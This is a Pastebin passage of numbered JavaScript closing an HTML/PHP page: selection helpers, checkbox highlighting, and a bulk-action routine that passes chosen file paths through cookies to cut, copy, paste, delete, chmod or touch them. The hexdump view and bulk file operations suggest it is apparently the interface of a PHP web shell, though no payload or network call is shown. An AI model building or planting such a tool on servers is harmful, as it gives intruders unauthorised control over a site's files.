  2422.     else if(c.selectionStart || c.selectionStart == '0')
  2423.         p = c.selectionStart;
  2424.     return p;
  2425. }
  2426. function setcurpos(c,p1,p2){
  2427.     if(c.setSelectionRange){
  2428.         c.focus();
  2429.         c.setSelectionRange(p1,p2);
  2430.     }
  2431.     else if(c.createTextRange){
  2432.         var r = c.createTextRange();
  2433.         r.collapse(true);
  2434.         r.moveStart('character', p1);
  2435.         r.moveEnd('character', p2);
  2436.         r.select();
  2437.     }
  2438. }
  2439. function clearpos(){
  2440.     var a = d.getElementsByName('hexdump');
  2441.     for(var i=0;i<a.length;i++){
  2442.         a[i].innerHTML = a[i].innerHTML.replace(/<[^>]+>/ig,'');
  2443.     }
  2444. }
  2445. function findtype(ty){
  2446.     var z = d.getElementById('type');
  2447.     if(z && (ty=='sdir')) z.selectedIndex = 1;
  2448.     else if(z && (ty=='sfile')) z.selectedIndex = 0;
  2449. }
  2450. function checkall(){
  2451.     var a = d.getElementsByName('cbox');
  2452.     var b = d.getElementsByName('abox');
  2453.     for(var i=0;i<a.length;i++){
  2454.         a[i].checked = b[0].checked;
  2455.         var bgcolor = '#111111';
  2456.         if(a[i].checked) bgcolor = '#fbfefa';
  2457.         a[i].parentElement.parentElement.style.backgroundColor=bgcolor;
  2458.     }
  2459. }
  2460. function hilite(el){
  2461.     var bgcolor = '#111111';
  2462.     if(el.checked) bgcolor = '#fbfefa';
  2463.     el.parentElement.parentElement.style.backgroundColor=bgcolor;
  2464. }
  2465. function massactgo(){
  2466.     var a = d.getElementsByName('cbox');
  2467.     var b = d.getElementById('massact');
  2468.     var c = d.getElementsByName('abox');
  2469.     var buffer = '';
  2470.  
  2471.     if(b.value=='cut' || b.value=='copy'){
  2472.         d.cookie='massact='+b.value+';';
  2473.         for(var i=0;i<a.length;i++) if(a[i].checked) buffer += a[i].value+'|';
  2474.         d.cookie='buffer='+escape(buffer);
  2475.     }
  2476.     else if(b.value=='paste'){
  2477.         addinput(b.form,'y','paste');
  2478.         b.form.submit();
  2479.     }
  2480.     else if(b.value=='delete' || b.value=='chmod' || b.value=='touch'){
  2481.         for(var i=0;i<a.length;i++) if(a[i].checked) buffer += a[i].value+'|';
  2482.         d.cookie='buffer='+escape(buffer);
  2483.         addinput(b.form,'y', b.value);
  2484.         b.form.submit();
  2485.     }
  2486.     for(var i=0;i<a.length;i++){
  2487.         a[i].checked = false;
  2488.         a[i].parentElement.parentElement.style.backgroundColor='#111111';
  2489.     }
  2490.     c[0].checked = false;
  2491. }
  2492. </script>
  2493. </body>
  2494. </html><?php die(); ?>
  2495.  
  2496.  
  2497. // function logger
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top